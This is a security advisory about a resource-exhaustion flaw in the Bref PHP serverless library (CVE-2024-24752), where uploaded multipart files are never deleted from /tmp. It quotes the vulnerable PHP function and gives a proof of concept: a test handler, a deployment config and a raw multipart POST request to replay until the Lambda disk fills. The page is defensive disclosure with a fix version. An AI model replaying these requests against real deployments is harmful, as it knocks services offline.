Medium

Bref's Uploaded Files Not Deleted in Event-Driven Functions

  • Disclosed: 01.02.2024
  • Updated: 11.10.2026 10:22

Impacted Resources

bref/src/Event/Http/Psr7Bridge.php:94-125

Description

When Bref is used with the Event-Driven Function runtime and the handler is a RequestHandlerInterface, then the Lambda event is converted to a PSR7 object. During the conversion process, if the request is a MultiPart, each part is parsed and for each which contains a file, it is extracted and saved in /tmp with a random filename starting with bref_upload_.

The function implementing the logic follows:

php
private static function parseBodyAndUploadedFiles(HttpRequestEvent $event): array
{
    $bodyString = $event->getBody();
    $files = [];
    $parsedBody = null;
    $contentType = $event->getContentType();
    if ($contentType !== null && $event->getMethod() === 'POST') {
        if (str_starts_with($contentType, 'application/x-www-form-urlencoded')) {
            parse_str($bodyString, $parsedBody);
        } else {
            $document = new Part("Content-type: $contentType\r\n\r\n" . $bodyString);
            if ($document->isMultiPart()) {
                $parsedBody = [];
                foreach ($document->getParts() as $part) {
                    if ($part->isFile()) {
                        $tmpPath = tempnam(sys_get_temp_dir(), 'bref_upload_');
                        if ($tmpPath === false) {
                            throw new RuntimeException('Unable to create a temporary directory');
                        }
                        file_put_contents($tmpPath, $part->getBody());
                        $file = new UploadedFile($tmpPath, filesize($tmpPath), UPLOAD_ERR_OK, $part->getFileName(), $part->getMimeType());

                        self::parseKeyAndInsertValueInArray($files, $part->getName(), $file);
                    } else {
                        self::parseKeyAndInsertValueInArray($parsedBody, $part->getName(), $part->getBody());
                    }
                }
            }
        }
    }
    return [$files, $parsedBody];
}

The flow mimics what plain PHP does but it does not delete the temporary files when the request has been processed.

Impact

An attacker could fill the Lambda instance disk by performing multiple MultiPart requests containing files. The attack has the following requirements and limitations:

  • The Lambda should use the Event-Driven Function runtime.
  • The Lambda should use the RequestHandlerInterface handler.
  • The Lambda should implement at least an endpoint accepting POST requests.
  • The attacker can send requests up to 6MB long, so multiple requests are required to fill the disk (the default Lambda disk size is 512MB, therefore with less than 100 requests the disk could be filled).

PoC

  1. Create a new Bref project.
  2. Create an index.php file with the following content:
php
<?php

namespace App;

require __DIR__ . '/vendor/autoload.php';

use Nyholm\Psr7\Response;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Server\RequestHandlerInterface;

class MyHttpHandler implements RequestHandlerInterface
{
    public function handle(ServerRequestInterface $request): ResponseInterface
    {
        return new Response(200, [], exec("ls -lah /tmp/bref_upload* | wc -l"));
    }
}

return new MyHttpHandler();
  1. Use the following serverless.yml to deploy the Lambda:
yaml
service: app

provider:
    name: aws
    region: eu-central-1

plugins:
    - ./vendor/bref/bref

# Exclude files from deployment
package:
    patterns:
        - '!node_modules/**'
        - '!tests/**'

functions:
    api:
        handler: index.php
        runtime: php-83
        events:
            - httpApi: 'ANY /upload'
  1. Replay the following request multiple times after having replaced the <HOST> placeholder with the deployed Lambda domain:
POST /upload HTTP/2
Host: <HOST>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQqDeSZSSvmn2rfjb
Content-Length: 180

------WebKitFormBoundaryQqDeSZSSvmn2rfjb
Content-Disposition: form-data; name="a"; filename="a.txt"
Content-Type: text/plain

test
------WebKitFormBoundaryQqDeSZSSvmn2rfjb--
  1. Notice that each time the request is sent the number of the uploaded temporary files on the disk increases.

Suggested Remediation

Delete the temporary files after the request has been processed and the response have been generated.

References

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package bref/bref < 2.1.13 2.1.13

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-400, CWE-770
Platform
Composer
Package
bref/bref
Disclosed
01.02.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-x4hh-frx8-98r5 - CC BY 4.0

Vulnerability history: bref/bref

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
4
First → latest
02.2024 03.2024
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Medium 3
  • Low 1

Disclosures per year

  1. 2024: 4
  2. 2025: 0
  3. 2026: 0
  1. Medium · 4.8 CVE-2024-24753 < 2.1.13 2.1.13
  2. Bref's Uploaded Files Not Deleted in Event-Driven Functions this entry
    Medium · 6.5 CVE-2024-24752 < 2.1.13 2.1.13

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